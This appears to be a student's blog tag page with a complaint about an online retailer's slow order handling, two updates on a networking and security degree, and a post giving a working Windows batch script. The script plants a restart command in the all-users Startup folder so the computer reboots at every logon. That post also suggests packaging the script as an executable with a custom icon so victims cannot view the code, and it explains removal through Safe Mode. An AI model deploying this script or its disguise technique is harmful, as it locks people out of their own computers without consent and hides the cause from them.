All Posts Tagged Tag: ‘Computer’

Data Alliance, LLC – They could do so much better… If only…

The employees at Data Alliance, LLC, could do a better job of maintaining their ordering system.  An order I placed went unnoticed from the 6th of January to the 18th of January.  This order went through the Google Wallet payment processing service.  The explanation from the employee at Data Alliance, LLC, stated that they do not interface well with this system, and that the manager would be the only one who could take care of these orders.  It was unfortunate that the Google status stated that my item shipped on the 9th of January, and I waited until the 16th of January to make my first attempt at contacting the company.

I called after-hours and left a message with my contact telephone number on the 16th of January.  I received no response on the 17th, and again left a voicemail on the company’s answering machine with my contact information that evening.  Just after leaving the message, I sent an email with the information.  On the 18th of January, I received a phone call from a representative that stated he would talk to his manager and reply to me via email about my order.  Later that evening, past the closing time for Data Alliance, LLC, I received no email, and sent another email to ask why I received no further contact.

On the 19th of January, I phoned in during my lunch break at work, to attempt to contact a representative of the company.  The person who answered the phone was the same guy as on the 18th of January.  He finally spoke to his manager while I was on the phone, and the representative came back to state that the order never made it to shipping and that he can’t do anything else but send it off to them to get it shipped.

Questioning why the Google order status showed them as shipping out the order on the 9th of January, he had no response to that, other than it was an incompatibility between Google Wallet payment processing and their in-house invoicing system.

The representative was quick to state that they wouldn’t do anything for the mix up, and wasn’t much of any help overall, besides talking to a manager to make them push my order through.  To this day, the 27th of January, I have yet to receive any sort of compensation for the shipping cost, a measly 8 dollars that I suggested would be nice of them.  Even asking for so much as a coupon for a future order seemed like it would happen only if hell froze over.

An Update on my Studies at Clover Park Technical College

I am about 3 months away from receiving my Associates Degree. I am in the last quarter of the Computer Networking and Information Systems Security Degree at Clover Park Technical College.

This program has been a blast, made better by my friends and the instructors. Kelly Hollowell, Donald Souza, Ray Robinson, and Jody Randall have given me a great education. Going into the program, I was fairly advanced in my knowledge of computers, but what I didn’t know is how much of a noob I really was. I have gained knowledge in operating systems such as Debian Linux, RedHat Linux, Windows Server 2003, and 2008. The instructors have enabled me to start a career in the Information Technology sector, through opportunities in class, and the internship with Cris-Jon Lindsay on campus.

I am extremely grateful for the education I have received through the Computer Networking and Information Systems Security Degree program, and internship, at Clover Park Technical College.

An Infinite Restart Script for Windows Operating Systems

In one of my classes at CPTC, we started to learn how to write Windows Batch Scripts. Myself and a few of my classmates almost got into trouble (not really though) a few weeks ago, by sending messages through the use of shutdown commands over the LAN. Last week, I started to think about how could I have the computer restart every time a user tries to log on to their computer. Finally, after shifting code around for a while, I came up with a reliable script to do what I wanted it to do.

Upon execution, this Windows Batch Script will create a file called “restart.bat” that includes the command to immediately restart the computer. This file is then moved to the Startup folder for all users. After the file is moved, the user that is currently logged in will be logged off. When the user attempts to log on to the computer again, the computer will restart. Now every time the user tries to log on to the computer, it will automatically restart.

This is a script that will annoy just about everyone. One change that I have come up with is to package the restart script into an executable, then package that executable into a second executable, which includes a script that is similar to what you see below. Now instead of running a script, you run an executable with your own icon. The result is exactly the same, but masking it behind an executable makes it so that the user cannot view the code.

To remove the restart script/executable from your Startup folder, you have to boot into Safe Mode. This can be done by pressing the F8 key on your keyboard, before the Windows loading bar screen appears. After you boot into Safe Mode, go to (Start > All Programs > Startup) and delete the file that is causing your computer to restart. If the script used is the one below, then you would delete restart.bat.

:: Windows OS Infinite Restart Script
:: This script will cause a Windows OS to immediately restart after logging in to a user account.
:: Created by Andrew R. DeFilippis on February 22, 2010
:: http://www.andrewdefilippis.com/

@ECHO OFF
:: Disable echo commands from printing on screen

ECHO ^@ECHO OFF > restart.bat
ECHO SHUTDOWN /r /t 0 >> restart.bat
ECHO EXIT >> restart.bat

VER | FIND “5.1″ > NUL
IF ERRORLEVEL 0 GOTO OLD
VER | FIND “5.2″ > NUL
IF ERRORLEVEL 0 GOTO OLD
:: Determine what OS version is being used

GOTO NEW
:: If OS version 5.1 or 5.2 is not found, then go to NEW

:OLD
MOVE “restart.bat” “C:\Documents and Settings\All Users\Start Menu\Programs\Startup\restart.bat”
SHUTDOWN /l /f
EXIT
:: Inject the restart script into older Windows OS’s
:: Then log off the current user

:NEW
MOVE “restart.bat” “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\restart.bat”
SHUTDOWN /l /f
EXIT
:: Inject the restart script into newer Windows OS’s
:: Then log off the current user

This script is posted for educational purposes only.

I am NOT liable for the use and/or misuse of this script.

CPTC – First Quarter

My first quarter at Clover Park Technical College is going great. I am currently in the first classes of the year for Computer Networking and Information Systems Security, and they are interesting. I noticed that I know quite a bit about what we are learning this quarter from working with computers for a large chunk of my life. The classes have been on computer hardware and general security concepts.

I am looking forward to finishing these classes and obtaining an associates degree, so I can look for a decent paying job!